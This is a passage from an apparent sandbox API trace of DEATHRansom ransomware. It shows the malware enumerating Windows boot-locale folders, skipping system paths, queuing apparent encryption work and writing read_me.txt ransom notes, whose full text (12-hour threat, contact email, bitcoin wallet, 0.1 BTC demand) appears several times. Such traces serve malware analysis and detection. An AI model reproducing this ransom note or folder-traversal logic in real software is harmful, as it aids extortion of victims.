(lpFirst="tr-tr", lpSrch="appdata") returned 0x0 [0077.696] GetProcessHeap () returned 0x540000 [0077.696] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.696] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Boot\\tr-TR" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR") returned="\\\\?\\C:\\Boot\\tr-TR" [0077.696] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 22 [0077.696] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.696] GetProcessHeap () returned 0x540000 [0077.696] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.697] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\*") returned 19 [0077.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.701] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\.") returned 19 [0077.702] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.702] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.702] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.702] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\..") returned 20 [0077.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.702] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.702] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 33 [0077.702] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.702] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.702] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\read_me.txt") returned 29 [0077.702] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\read_me.txt" (normalized: "c:\\boot\\tr-tr\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.702] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.702] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.703] CloseHandle (hObject=0x7b0) returned 1 [0077.703] GetProcessHeap () returned 0x540000 [0077.703] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.703] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0077.703] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN") returned 17 [0077.703] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0077.704] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0077.704] StrStrW (lpFirst="zh-cn", lpSrch="programdata") returned 0x0 [0077.704] StrStrW (lpFirst="zh-cn", lpSrch="$recycle.bin") returned 0x0 [0077.704] StrStrW (lpFirst="zh-cn", lpSrch="program files") returned 0x0 [0077.704] StrStrW (lpFirst="zh-cn", lpSrch="windows") returned 0x0 [0077.704] StrStrW (lpFirst="zh-cn", lpSrch="all users") returned 0x0 [0077.704] StrStrW (lpFirst="zh-cn", lpSrch="appdata") returned 0x0 [0077.704] GetProcessHeap () returned 0x540000 [0077.704] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.704] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Boot\\zh-CN" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN") returned="\\\\?\\C:\\Boot\\zh-CN" [0077.704] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 23 [0077.704] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.704] GetProcessHeap () returned 0x540000 [0077.704] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.704] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\*") returned 19 [0077.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.704] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\.") returned 19 [0077.704] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.704] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.704] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.705] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\..") returned 20 [0077.705] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.705] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.705] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 33 [0077.705] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.705] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.705] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\read_me.txt") returned 29 [0077.705] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\read_me.txt" (normalized: "c:\\boot\\zh-cn\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.705] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.705] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.706] CloseHandle (hObject=0x7b0) returned 1 [0077.706] GetProcessHeap () returned 0x540000 [0077.706] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0077.706] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK") returned 17 [0077.706] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0077.706] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0077.706] StrStrW (lpFirst="zh-hk", lpSrch="programdata") returned 0x0 [0077.706] StrStrW (lpFirst="zh-hk", lpSrch="$recycle.bin") returned 0x0 [0077.706] StrStrW (lpFirst="zh-hk", lpSrch="program files") returned 0x0 [0077.706] StrStrW (lpFirst="zh-hk", lpSrch="windows") returned 0x0 [0077.707] StrStrW (lpFirst="zh-hk", lpSrch="all users") returned 0x0 [0077.707] StrStrW (lpFirst="zh-hk", lpSrch="appdata") returned 0x0 [0077.707] GetProcessHeap () returned 0x540000 [0077.707] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.707] lstrcpyW (in: lpString1=0x41a0078, lpString2="\\\\?\\C:\\Boot\\zh-HK" | out: lpString1="\\\\?\\C:\\Boot\\zh-HK") returned="\\\\?\\C:\\Boot\\zh-HK" [0077.707] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 24 [0077.707] QueueUserWorkItem (Function=0x40a710, Context=0x41a0078, Flags=0x0) returned 1 [0077.707] GetProcessHeap () returned 0x540000 [0077.707] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.707] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\*") returned 19 [0077.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.710] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\.") returned 19 [0077.710] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.710] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.710] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.710] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\..") returned 20 [0077.710] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.710] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.710] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 33 [0077.711] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.711] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.711] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\read_me.txt") returned 29 [0077.711] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\read_me.txt" (normalized: "c:\\boot\\zh-hk\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.711] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.711] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.712] CloseHandle (hObject=0x7b0) returned 1 [0077.712] GetProcessHeap () returned 0x540000 [0077.712] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0077.712] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW") returned 17 [0077.712] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0077.712] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0077.712] StrStrW (lpFirst="zh-tw", lpSrch="programdata") returned 0x0 [0077.712] StrStrW (lpFirst="zh-tw", lpSrch="$recycle.bin") returned 0x0 [0077.712] StrStrW (lpFirst="zh-tw", lpSrch="program files") returned 0x0 [0077.712] StrStrW (lpFirst="zh-tw", lpSrch="windows") returned 0x0 [0077.712] StrStrW (lpFirst="zh-tw", lpSrch="all users") returned 0x0 [0077.712] StrStrW (lpFirst="zh-tw", lpSrch="appdata") returned 0x0 [0077.712] GetProcessHeap () returned 0x540000 [0077.712] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.713] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\zh-TW" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW") returned="\\\\?\\C:\\Boot\\zh-TW" [0077.713] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 25 [0077.713] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.713] GetProcessHeap () returned 0x540000 [0077.713] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.713] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\*") returned 19 [0077.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.713] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\.") returned 19 [0077.713] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.713] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.713] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | 